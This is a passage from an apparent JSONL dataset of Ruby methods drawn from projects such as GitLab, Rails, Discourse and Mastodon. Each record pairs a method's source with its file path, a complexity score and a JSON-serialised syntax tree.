duplicates.repository_type\\n\"]}]},\"squish\"]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicated_lfs_objects_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"joins\",{\"type\":\"lvar\",\"children\":[\"join_query\"]}]},\"where\"]},\"not\",{\"type\":\"str\",\"children\":[\"lfs_objects_projects.id = duplicates.max_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicated_lfs_objects_projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"delete_all\"]}]}]}]}","id":"89fb07a7-9b28-4a2e-a329-b8dda123ea35"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/batch_destroy_dependent_associations.rb","start_line":18,"raw_source":"def dependent_associations_to_destroy\n self.class.reflect_on_all_associations(:has_many).select { |assoc| assoc.options[:dependent] == :destroy }\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"dependent_associations_to_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reflect_on_all_associations\",{\"type\":\"sym\",\"children\":[\"has_many\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dependent\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}","id":"43311ce5-a828-40af-aeab-e80eb91f242b"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_options_helper.rb","start_line":198,"raw_source":"def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})\n Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"value_method\"]},{\"type\":\"arg\",\"children\":[\"text_method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tags\"]},\"CollectionSelect\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"value_method\"]},{\"type\":\"lvar\",\"children\":[\"text_method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]},\"render\"]}]}","id":"9adbefde-d877-4f28-8e74-b08490bbcd0f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics.rb","start_line":34,"raw_source":"def self.settings\n @settings ||= begin\n current_settings = Gitlab::CurrentSettings.current_application_settings\n\n {\n\n method_call_threshold: current_settings[:metrics_method_call_threshold]\n\n }\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@settings\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_call_threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metrics_method_call_threshold\"]}]}]}]}]}]}]}","id":"cda8d73d-2c20-4b84-966d-8c1daa6f2696"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/mailchimp/bot.rb","start_line":152,"raw_source":"def md5_email(email)\n Digest::MD5.hexdigest(email.downcase)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"md5_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"downcase\"]}]}]}","id":"9f3f6efb-ca61-418e-b5db-8509f22e1903"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/activitypub/synchronize_featured_tags_collection_worker.rb","start_line":8,"raw_source":"def perform(account_id, url)\n ActivityPub::FetchFeaturedTagsCollectionService.new.call(Account.find(account_id), url)\n rescue ActiveRecord::RecordNotFound\n true\n end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchFeaturedTagsCollectionService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"account_id\"]}]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"fde9fb57-31ac-4035-87c5-39d8ad4ad490"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1243,"raw_source":"def lock!(locks = true) # :nodoc:\n case locks\n when String, TrueClass, NilClass\n self.lock_value = locks || true\n else\n self.lock_value = false\n end\n\n self\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"locks\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"NilClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lock_value=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lock_value=\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"49224c16-4405-4b9f-878f-bf62a187e014"}
+{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters.rb","start_line":259,"raw_source":"def underscore(camel_cased_word)\n word = camel_cased_word.to_s.dup\n word.gsub!(/::/, '/')\n word.gsub!(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n word.tr!(\"-\", \"_\")\n word.downcase!\n word\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"underscore\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"camel_cased_word\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"word\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"camel_cased_word\"]},\"to_s\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([A-Z]+)([A-Z][a-z])\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1_\\\\2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([a-z\\\\d])([A-Z])\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1_\\\\2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"tr!\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"downcase!\"]},{\"type\":\"lvar\",\"children\":[\"word\"]}]}]}","id":"8d90bd9d-815c-4a14-8f28-b7811dc4921c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/services/registered_bookmarkable.rb","start_line":101,"raw_source":"def after_create(guardian, bookmark, opts = {})\n bookmarkable_klass.after_create(guardian, bookmark, opts)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"guardian\"]},{\"type\":\"arg\",\"children\":[\"bookmark\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bookmarkable_klass\"]},\"after_create\",{\"type\":\"lvar\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"bookmark\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"caf6ef4f-e7c8-458d-bf02-a3f6a443220a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1752,"raw_source":"def closes_issues(current_user = self.author)\n if target_branch == project.default_branch\n messages = [title, description]\n messages.concat(commits(load_from_gitaly: true).map(&:safe_message)) if merge_request_diff.persisted?\n\n Gitlab::ClosingIssueExtractor.new(project, current_user)\n .closed_by_message(messages.join(\"\\n\"))\n else\n []\n end\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"closes_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"author\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_from_gitaly\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"safe_message\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ClosingIssueExtractor\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"closed_by_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"8426c42f-ee15-4ab1-876b-ecc0b963788a"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":45,"raw_source":"def test_inverse_of_raise_exception_on_unknown_commands\n assert_raises(ActiveRecord::IrreversibleMigration) do\n @recorder.inverse_of :execute, [\"some sql\"]\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inverse_of_raise_exception_on_unknown_commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"execute\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"some sql\"]}]}]}]}]}","id":"a8fa54cf-82db-4e81-bc26-e123dfd629d6"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/disk_space.rb","start_line":4,"raw_source":"def self.uploads_used_bytes\n Upload.sum(:filesize).to_i + OptimizedImage.sum(:filesize).to_i\n end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uploads_used_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"filesize\"]}]},\"to_i\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptimizedImage\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"filesize\"]}]},\"to_i\"]}]}]}","id":"227d47d6-b639-48df-84f0-4027c4af971c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/project_policy.rb","start_line":1307,"raw_source":"def team_access_level\n return -1 if @user.nil?\n return -1 unless user_is_user?\n\n @team_access_level ||= lookup_access_level!\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"team_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[-1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_is_user?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@team_access_level\"]},{\"type\":\"send\",\"children\":[null,\"lookup_access_level!\"]}]}]}]}","id":"10a63fff-bf2d-4825-9276-ada866a92614"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_attachable/lib/acts_as_attachable.rb","start_line":130,"raw_source":"def edit_permission_default\n :\"edit_#{name.pluralize.underscore}\"\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_permission_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"edit_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"pluralize\"]},\"underscore\"]}]}]}]}","id":"09ac9c2a-a3fa-46c1-a56b-2d0f4fa6bcfc"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":115,"raw_source":"def test_exclusive_conflicting_purpose\n [true, false].each do |use_upgrading|\n with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|\n together = Concurrent::CyclicBarrier.new(2)\n conflicting_exclusive_threads = [\n Thread.new do\n @lock.public_send(use_upgrading ? :sharing : :tap) do\n together.wait\n @lock.exclusive(purpose: :red, compatible: [:green, :purple]) { }\n end\n end,\n Thread.new do\n @lock.public_send(use_upgrading ? :sharing : :tap) do\n together.wait\n @lock.exclusive(purpose: :blue, compatible: [:green]) { }\n end\n end\n ]\n\n assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks\n\n # This thread will be stuck as long as any other thread is in\n # a sharing block. While it's blocked, it holds no lock, so it\n # doesn't interfere with any other attempts.\n no_purpose_thread = Thread.new do\n @lock.exclusive { }\n end\n assert_threads_stuck no_purpose_thread\n\n # This thread is compatible with both of the \"primary\"\n # attempts above. It's initially stuck on the outer share\n # lock, but as soon as that's released, it can run --\n # regardless of whether those threads hold share locks.\n compatible_thread = Thread.new do\n @lock.exclusive(purpose: :green, compatible: []) { }\n end\n assert_threads_stuck compatible_thread\n\n assert_threads_stuck conflicting_exclusive_threads\n\n sharing_thread_release_latch.count_down\n\n assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through\n\n if use_upgrading\n # The \"primary\" threads both each hold a share lock, and are\n # mutually incompatible; they're still stuck.\n assert_threads_stuck conflicting_exclusive_threads\n\n # The thread without a specified purpose is also stuck; it's\n # not compatible with anything.\n assert_threads_stuck no_purpose_thread\n else\n # As the primaries didn't hold a share lock, as soon as the\n # outer one was released, all the exclusive locks are free\n # to be acquired in turn.\n\n assert_threads_not_stuck conflicting_exclusive_threads\n assert_threads_not_stuck no_purpose_thread\n end\n ensure\n conflicting_exclusive_threads.each(&:kill)\n no_purpose_thread.kill\n end\n end\n end","complexity_score":64.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exclusive_conflicting_purpose\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"use_upgrading\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_thread_waiting_in_lock_section\",{\"type\":\"sym\",\"children\":[\"sharing\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sharing_thread_release_latch\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"together\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CyclicBarrier\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conflicting_exclusive_threads\",{\"type\":\"array\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"public_send\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"tap\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"together\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"red\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"green\"]},{\"type\":\"sym\",\"children\":[\"purple\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"public_send\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"tap\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"together\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"blue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"lvasgn\",\"children\":[\"no_purpose_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\"]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]},{\"type\":\"lvasgn\",\"children\":[\"compatible_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"compatible_thread\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sharing_thread_release_latch\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"compatible_thread\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_upgrading\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicting_exclusive_threads\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"kill\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_purpose_thread\"]},\"kill\"]}]}]}]}]}]}","id":"6a2bcdfa-b3f8-4081-8342-eb9ce5f6ead2"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/admin/menus/admin_settings_menu.rb","start_line":65,"raw_source":"def integrations_menu_item\n return ::Sidebars::NilMenuItem.new(item_id: :admin_integrations) unless instance_level_integrations?\n\n ::Sidebars::MenuItem.new(\n title: _('Integrations'),\n link: integrations_admin_application_settings_path,\n active_routes: { path: %w[application_settings#integrations integrations#edit] },\n item_id: :admin_integrations,\n container_html_options: { 'data-testid': 'admin-settings-integrations-link' }\n )\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"integrations_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_level_integrations?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"NilMenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"admin_integrations\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Integrations\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"integrations_admin_application_settings_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application_settings#integrations\"]},{\"type\":\"str\",\"children\":[\"integrations#edit\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"admin_integrations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data-testid\"]},{\"type\":\"str\",\"children\":[\"admin-settings-integrations-link\"]}]}]}]}]}]}]}]}","id":"6000cde8-6ffb-40c3-a760-cd7dc2af0220"}
